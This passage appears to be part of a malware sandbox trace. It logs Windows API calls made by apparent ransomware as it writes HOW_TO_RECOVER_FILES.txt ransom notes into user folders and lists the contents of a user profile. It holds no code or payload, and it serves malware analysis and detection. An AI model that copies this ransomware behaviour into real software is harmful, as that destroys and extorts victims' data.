lpOverlapped=0x0 | out: lpBuffer=0x3703578*, lpNumberOfBytesWritten=0x1f6ed4f8*=0x5d0, lpOverlapped=0x0) returned 1 [0132.738] CloseHandle (hObject=0x644) returned 1 [0132.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0132.738] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Videos", lpFilePart=0x0) returned 0x2d [0132.738] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0132.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed470) returned 1 [0132.741] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ecf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0132.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed430) returned 1 [0132.741] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\documents\\my videos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0132.743] GetFileType (hFile=0x644) returned 0x1 [0132.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3a0) returned 1 [0132.743] GetFileType (hFile=0x644) returned 0x1 [0132.744] WriteFile (in: hFile=0x644, lpBuffer=0x3713c98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x3713c98*, lpNumberOfBytesWritten=0x1f6ed4f8*=0x5d0, lpOverlapped=0x0) returned 1 [0132.745] CloseHandle (hObject=0x644) returned 1 [0132.745] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0132.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0132.745] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0132.746] GetFileType (hFile=0x644) returned 0x1 [0132.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0132.746] GetFileType (hFile=0x644) returned 0x1 [0132.747] WriteFile (in: hFile=0x644, lpBuffer=0x37174e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x37174e0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0132.748] CloseHandle (hObject=0x644) returned 1 [0132.748] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ee370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0132.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee890) returned 1 [0132.748] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0132.749] GetFileType (hFile=0x644) returned 0x1 [0132.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee800) returned 1 [0132.749] GetFileType (hFile=0x644) returned 0x1 [0132.749] WriteFile (in: hFile=0x644, lpBuffer=0x371acf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ee958, lpOverlapped=0x0 | out: lpBuffer=0x371acf8*, lpNumberOfBytesWritten=0x1f6ee958*=0x5d0, lpOverlapped=0x0) returned 1 [0132.750] CloseHandle (hObject=0x644) returned 1 [0132.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0132.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0132.751] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.751] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.751] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfff5553f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfff5553f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0132.753] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b7f22c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b7f22c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7f22c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.0.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b7f22c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b7f22c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7f22c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.1.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1ba53d0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.2.regtrans-ms", cAlternateFileName="NT91FD~1.REG")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b59326, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b59326, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b59326, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0132.754] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0132.755] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, 